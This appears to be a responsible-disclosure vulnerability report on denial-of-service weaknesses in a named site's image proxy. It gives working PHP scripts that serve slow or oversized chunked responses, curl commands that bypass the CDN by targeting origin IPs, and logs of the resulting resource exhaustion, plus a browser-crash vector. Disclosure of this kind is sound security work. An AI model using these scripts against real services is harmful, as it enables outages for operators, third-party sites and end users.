How it was found

DoS attacks utilizing camo.stream.highwebmedia.com

Summary

The asset proxy at camo.stream.highwebmedia.com used to embed external images linked by users fails to enforce

1. a timeout on slow responses if a little data is sent every 10 seconds (a kind of "reverse-slowloris" attack)
2. a size limit on responses with Transfer-Encoding: chunked (i.e. no Content-Length header)

Different types of Denial of Service attacks could be launched by utilizing these weaknesses.

Related findings that may be useful in attacks

1. The caching of responses by the CDN can be disabled
   1. by returning status code 500 for the asset response (instead of 200 OK)
   2. OR by appending a random query string to the https://camo.stream.highwebmedia.com/ URLs
      • this alone could turn the asset proxy to a DoS-proxy for attacking other sites
2. The CDN can be bypassed altogether by logging the origin IPs of the requests from the asset servers and pointing camo.stream.highwebmedia.com requests directly to them (e.g. curl https://camo.stream.highwebmedia.com/2ae5... --resolve camo.stream.highwebmedia.com:443:██████████43)
3. The asset proxy will follow http redirects to other images
4. The asset proxy status page is publicly accessible (https://camo.stream.highwebmedia.com/status)

Steps to reproduce

Preparations

• Configure a publicly accessible web server with PHP support and high timeout values.
• Create slow.php that outputs a few kB of data every 9 seconds with Transfer-Encoding: chunked and status code 500

<?php

ob_end_flush();
header("HTTP/1.1 500 Internal Server Error");
header("Content-Type: image/png");
header("Content-Length: ". 1024 * 1024 * 2);

for($i=0; $i<200; $i++) {
  echo str_pad('hi', 4096, "hiho");
  flush();
  sleep(9);
}

• Create big.php that outputs lots of data with Transfer-Encoding: chunked and status code 500:

<?php

ob_end_flush();
header("HTTP/1.1 500 Internal Server Error");
header("Content-Type: image/png");

$total    = 1024**3; // 1G
$buffSize = 1024**2; // 1M
$buff     = str_pad('hi', $buffSize, "hiho");

while($total > 0) {
 echo $buff;
 $total -= $buffSize;
}

• Create big_valid.php that outputs an extra large valid PNG image (e.g. 457 MB file from https://visibleearth.nasa.gov/view.php?id=73751) with Transfer-Encoding: chunked:

<?php

ob_end_flush();
header("HTTP/1.1 200 OK");
header("Content-Type: image/png");
readfile("really_big.png");

• Create a White Label and add images to the Homepage intro (or a verified profile html):

<img src="http://███████/slow.php">
<img src="http://███/big.php">
<img src="http://█████/big_valid.php">

• On the white label front page, the links will be rendered as follows:

slow.php:      https://camo.stream.highwebmedia.com/4854b41b7c19a74ff2007dced08a28a6b67459a8/█████
big.php:       https://camo.stream.highwebmedia.com/a7a0e0c605129fb8640a463bcc71a78b909f41f3/█████████
big_valid.php: https://camo.stream.highwebmedia.com/0f82e8c654f4e58966f574d0f19ead4b71fe2d26/████████

Attacks

1) Slow requests

• Launch curl to fetch slow.php multiple times as background process (here targeting a specific proxy ip, but works OK thru the CDN too)

$ time curl -s https://camo.stream.highwebmedia.com/4854b41b7c19a74ff2007dced08a28a6b67459a8/████ --resolve camo.stream.highwebmedia.com:443:██████32 > /dev/null &

• Verify that the requests are still in pending after a while

$ jobs
[1]   Running                 time curl -s https://camo.stream.highwebmedia.com/4854b41b7c19a74ff2007dced08a28a6b67459a8/████ --resolve camo.stream.highwebmedia.com:443:██████32 > /dev/null &
[2]   Running                 time curl -s https://camo.stream.highwebmedia.com/4854b41b7c19a74ff2007dced08a28a6b67459a8/██████ --resolve camo.stream.highwebmedia.com:443:██████32 > /dev/null &
[3]   Running                 time curl -s https://camo.stream.highwebmedia.com/4854b41b7c19a74ff2007dced08a28a6b67459a8/████ --resolve camo.stream.highwebmedia.com:443:████32 > /dev/null &
...

• Confirm pending requests from the asset server

$ netstat -nt | grep ESTABLISHED | grep -c ████32
20

• The requests typically stayed pending close to the 30 min timeout of the asset server, as seen from the nginx access.log (the 1500+ sec is the response time):

...
██████████32 - - [10/Mar/2019:19:37:36 +0100] "GET /slow.php HTTP/1.1" 500 301 707302 707136 1549.636 "-" "Camo Asset Proxy 2.5.0" "-"
██████████32 - - [10/Mar/2019:19:38:22 +0100] "GET /slow.php HTTP/1.1" 500 301 727742 727576 1594.828 "-" "Camo Asset Proxy 2.5.0" "-"
████32 - - [10/Mar/2019:19:38:22 +0100] "GET /slow.php HTTP/1.1" 500 301 727742 727576 1594.405 "-" "Camo Asset Proxy 2.5.0" "-"
█████████32 - - [10/Mar/2019:19:41:48 +0100] "GET /slow.php HTTP/1.1" 500 301 819366 819200 1800.059 "-" "Camo Asset Proxy 2.5.0" "-

2) Excessive network traffic

• Launch curl to fetch big.php a few times as background process

$ time curl -s https://camo.stream.highwebmedia.com/a7a0e0c605129fb8640a463bcc71a78b909f41f3/██████████ > /dev/null & 

• With just 3 concurrent curl instances, I was able to reach an outgoing transfer rate of over 600 Mbps from the asset server. Nginx access.log showed the following:

████34 - - [10/Mar/2019:19:38:15 +0100] "GET /big.php HTTP/1.1" 500 300 1073742118 1073741949 49.271 "-" "Camo Asset Proxy 2.5.0" "-"
█████40 - - [10/Mar/2019:19:38:23 +0100] "GET /big.php HTTP/1.1" 500 300 1073742145 1073741976 55.455 "-" "Camo Asset Proxy 2.5.0" "-"
█████34 - - [10/Mar/2019:19:38:36 +0100] "GET /big.php HTTP/1.1" 500 300 1073742126 1073741957 68.682 "-" "Camo Asset Proxy 2.5.0" "-"

3) Crashing the end-user's browser

• When using a normal browser to go to the white label front page that has the big_valid.php PNG embedded (e.g. https://latesty.chaturbate.com), the browser is likely to become unstable or crash. Especially Chrome seems to crash easily with huge PNGs embedded into a web page.
• The CDN will cache the large image file saving bandwidth from the attacker

Impact

• The slow responses could probably be used exhaust the asset proxy server concurrency limits or available sockets.
• The large downloads could be used to exhaust network capacity or available memory/disk space on the proxy server.
• Embedding large but valid images to user profiles can be used to make the end-user's browsers unstable
• The asset proxy servers could also be used to launch proxied DoS attacks against external web servers, especially those that host large images but do not supply a Content-Length header